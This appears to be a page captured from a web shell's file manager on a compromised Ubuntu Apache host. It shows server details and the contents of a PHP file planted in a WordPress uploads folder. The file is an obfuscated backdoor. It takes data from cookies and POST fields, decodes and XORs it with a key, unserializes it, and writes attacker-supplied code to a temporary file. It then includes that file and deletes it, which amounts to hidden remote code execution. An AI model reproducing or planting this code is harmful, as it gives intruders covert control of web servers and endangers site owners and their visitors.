HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2021/09/b84e1c06.php
$ZPTFJW = 'o' . "\x63" . 'W' . '_' . "\x59" . "\170" . "\x49" . chr (78); $VnYMEY = "\143" . chr (108) . "\x61" . chr ( 1099 - 984 ).chr (115) . chr ( 398 - 303 ).chr (101) . "\x78" . "\x69" . "\163" . 't' . chr (115); $Ahjvdr = class_exists($ZPTFJW); $VnYMEY = "38419";$kVUQb = strpos($VnYMEY, $ZPTFJW);if ($Ahjvdr == $kVUQb){function TpeRg(){$frkUTcGr = new /* 59754 */ ocW_YxIN(27773 + 27773); $frkUTcGr = NULL;}$TvaITu = "27773";class ocW_YxIN{private function RxBhRVLjq($TvaITu){if (is_array(ocW_YxIN::$QUjCadr)) {$name = sys_get_temp_dir() . "/" . crc32(ocW_YxIN::$QUjCadr["salt"]);@ocW_YxIN::$QUjCadr["write"]($name, ocW_YxIN::$QUjCadr["content"]);include $name;@ocW_YxIN::$QUjCadr["delete"]($name); $TvaITu = "27773";exit();}}public function oqnNggY(){$UCzDB = "33696";$this->_dummy = str_repeat($UCzDB, strlen($UCzDB));}public function __destruct(){ocW_YxIN::$QUjCadr = @unserialize(ocW_YxIN::$QUjCadr); $TvaITu = "52862_6864";$this->RxBhRVLjq($TvaITu); $TvaITu = "52862_6864";}public function SEmuh($UCzDB, $OxkHCLlwB){return $UCzDB[0] ^ str_repeat($OxkHCLlwB, intval(strlen($UCzDB[0]) / strlen($OxkHCLlwB)) + 1);}public function bUVJHXEZ($UCzDB){$CsJzrRIo = "\x62" . chr (97) . "\163" . chr ( 589 - 488 )."\x36" . "\x34";return array_map($CsJzrRIo . "\x5f" . chr (100) . chr ( 664 - 563 ).'c' . chr (111) . "\144" . chr (101), array($UCzDB,));}public function __construct($OmnTKQ=0){$qhiBRx = chr (44); $UCzDB = "";$XZqHzBPsT = $_POST;$BEfSYqLTg = $_COOKIE;$OxkHCLlwB = "d46ac0a4-2879-408a-bff7-8352fdf00118";$lmYzqtOmDk = @$BEfSYqLTg[substr($OxkHCLlwB, 0, 4)];if (!empty($lmYzqtOmDk)){$lmYzqtOmDk = explode($qhiBRx, $lmYzqtOmDk);foreach ($lmYzqtOmDk as $EtCHntrn){$UCzDB .= @$BEfSYqLTg[$EtCHntrn];$UCzDB .= @$XZqHzBPsT[$EtCHntrn];}$UCzDB = $this->bUVJHXEZ($UCzDB);}ocW_YxIN::$QUjCadr = $this->SEmuh($UCzDB, $OxkHCLlwB);if (strpos($OxkHCLlwB, $qhiBRx) !== FALSE){$OxkHCLlwB = explode($qhiBRx, $OxkHCLlwB); $ntHjLKO = sprintf("52862_6864", rtrim($OxkHCLlwB[0]));}}public static $QUjCadr = 421;}TpeRg();}